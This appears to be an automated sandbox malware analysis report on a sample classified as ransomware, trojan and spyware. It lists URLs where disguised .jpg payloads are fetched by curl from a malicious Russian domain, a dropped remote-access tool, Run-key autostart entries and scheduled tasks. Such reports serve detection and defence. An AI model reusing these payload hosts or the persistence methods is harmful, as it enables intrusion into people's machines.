https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578521342&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js	false		high
https://trace.popin.cc/cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=	false		high
https://hbx.media.net/cksync.php?type=nms&cs=3&ovsid=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=	false		high
https://sb.scorecardresearch.com/b?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578509354&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://sync.inmobi.com/oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent=	false		high
https://cm.mgid.com/m?cdsp=516415&c=0136911D054E6BFC0E90846C04216AB7&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent=	false		high
http://downdown.ru/svchost.jpg	true	Avira URL Cloud: malware	unknown
https://srtb.msn.com/auction	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578512350&w=0&anoncknm=app_anon&NoResponseBody=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.anydesk.com/knowledge/users	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/update	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/pause-session	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/wol.jpg8V	curl.exe, 00000026.00000002.20395527745.0000000001568000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.pdf-tools.com	Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1526/	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.php8na	Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy?hl=$	svchost.exe	false		high
https://help.anydesk.com	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/svchost.jpgC:	curl.exe, 00000024.00000002.20361596421.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000024.00000002.20361728129.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpg:	Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpgy	curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/what-is-full-client-management	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/account-migration	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpnia	Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpgWinsta0	curl.exe, 00000026.00000002.20395373813.0000000001440000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://help.anydesk.com/	svchost.exe	true	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	driver.exe, 00000028.00000003.20430251957.0000000002D20000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/files/4t-min.exe	Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.html	Trays.exe, 00000029.00000002.21464015268.0000000002638000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/status-anynet_overload	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://www.4t-niagara.com/tray_next.html03b	Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmll2-37	Trays.exe, 00000029.00000002.21461662298.0000000000810000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/contact/sales)	AnyDesk.exe, 00000030.00000003.20534656140.00000000040D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/wol.j	Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/Trays.jpgC:	curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.20386688000.0000000000760000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com	driver.exe, 00000028.00000002.20433555662.0000000002D00000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/docs/sslcerts.htmlcurl	curl.exe	false		high
https://datatracker.ietf.org/ipr/1524/	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.anydesk.com/v2	svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/tray_order.html03b	Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/company#imprint	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/blat.jpgs	curl.exe, 00000023.00000002.20327423704.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/)	svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams)	AnyDesk.exe, 00000030.00000003.20534656140.00000000040D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/libcurl/c/curl_easy_setopt.html	curl.exe, 00000027.00000002.20416769958.000000000030B000.00000008.00000001.01000000.00000006.sdmp	false		high
http://www.4t-niagara.com/tray.html5	Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.gimp.org/xmp/	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/de/datenschutz	svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/svchost.	Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpg.	curl.exe, 00000026.00000002.20395527745.0000000001568000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmllk	Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_order.htmlU	driver.exe, 00000028.00000003.20430251957.0000000002E12000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/svchost.jpg6S	curl.exe, 00000024.00000002.20361728129.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://my.anydesk.com	svchost.exe	false		high
http://www.4t-niagara.com/checkupdate.phz(	Trays.exe, 00000029.00000002.21461662298.000000000088F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.htmltmll	Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.blat.net/h	curl.exe, 00000023.00000003.20325593592.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000002.20327686955.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.20325554267.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326809234.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20361147934.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20386342714.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394831572.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20417147081.0000000000324000.00000008.00000001.01000000.00000006.sdmp, svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/pricing/teams	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://www.4t-niagara.com/tray.htmlgestion...ACrei&	Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.html	driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpb8	Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly/terms	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.anydesk.com	svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/waiting-for-image-black-screen	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/driver.jpgC:	curl.exe, 00000022.00000002.20310151194.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20310303622.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting	svchost.exe	false		high
http://4t-niagara.com/webimage.html	driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://iptc.org/std/Iptc4xmpExt/2008-02-29/	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/Trays.jpgWinsta0	curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.20386688000.0000000000760000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpgWinsta0	curl.exe, 00000023.00000002.20327423704.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000002.20327171797.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.htmltmll=	Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.dk-soft.org/	driver.exe, 00000028.00000003.20430251957.0000000002E12000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/dc.jp	Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpg;	curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/privacy	svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.anydesk.com/HelpLinkInstallLocationAnyDesk	svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.125.51.5	downdown.ru	Russian Federation	207064	INPLATLABS-ASRU	true
160.202.165.71	relay-30ea2fb5.net.anydesk.com	New Zealand	63018	DEDICATEDUS	false
94.23.158.211	www.4t-niagara.com	France	16276	OVHFR	false
239.255.102.18	unknown	Reserved	unknown	unknown	false
57.129.37.157	boot.net.anydesk.com	Belgium	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.11.20
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588958
Start date and time:	2025-01-11 07:51:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	73
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Yv24LkKBY6.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@139/246@4/8
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 98% Number of executed functions: 223 Number of non-executed functions: 229
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 104.102.249.139, 104.102.249.201, 23.220.206.57, 23.220.206.48, 23.33.85.226, 23.33.85.234, 199.232.214.172, 4.153.29.52, 142.250.191.163, 142.250.190.35, 142.250.190.67, 172.217.2.35, 20.190.157.3, 13.107.42.16, 204.79.197.237, 20.75.60.91, 20.96.153.111, 204.79.197.239, 23.215.15.137, 13.107.21.237, 23.215.15.173, 23.213.53.28
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, prod-atm-wds-nav.trafficmanager.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, c.msn.com, ntp.msn.com, nav.smartscreen.microsoft.com, arc.msn.com, acroipm2.adobe.com, dns.msftncsi.com, login.live.com, th.bing.com, a122.dscd.akamai.net, dns.quad9.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, config.edge.skype.com, www.bing.com, assets.msn.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, prod-atm-wds-edge.trafficmanager.net, edge.microsoft.com, c.bing.com, sb.scorecardresearch.com, api.msn.com, prod-agic-eu2-1.eastus2.cloudapp.azure.com
Execution Graph export aborted for target Yv24LkKBY6.exe, PID 5908 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:54:05	API Interceptor	1x Sleep call for process: svchost.exe modified
01:54:12	API Interceptor	1x Sleep call for process: AnyDesk.exe modified
01:54:21	API Interceptor	15x Sleep call for process: powershell.exe modified
01:54:23	API Interceptor	4x Sleep call for process: Trays.exe modified
07:53:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
07:53:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
07:54:21	Task Scheduler	Run new task: ShutdownAt5AM path: shutdown s>/s /f /t 0
07:54:23	Task Scheduler	Run new task: WakeUpAndLaunchEdge path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse
	https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNX	Get hash	malicious	Unknown	Browse
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse
	http://www.jadavisinjurylawyers.com/	Get hash	malicious	Unknown	Browse
	http://txto.eu.org/	Get hash	malicious	Unknown	Browse
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse
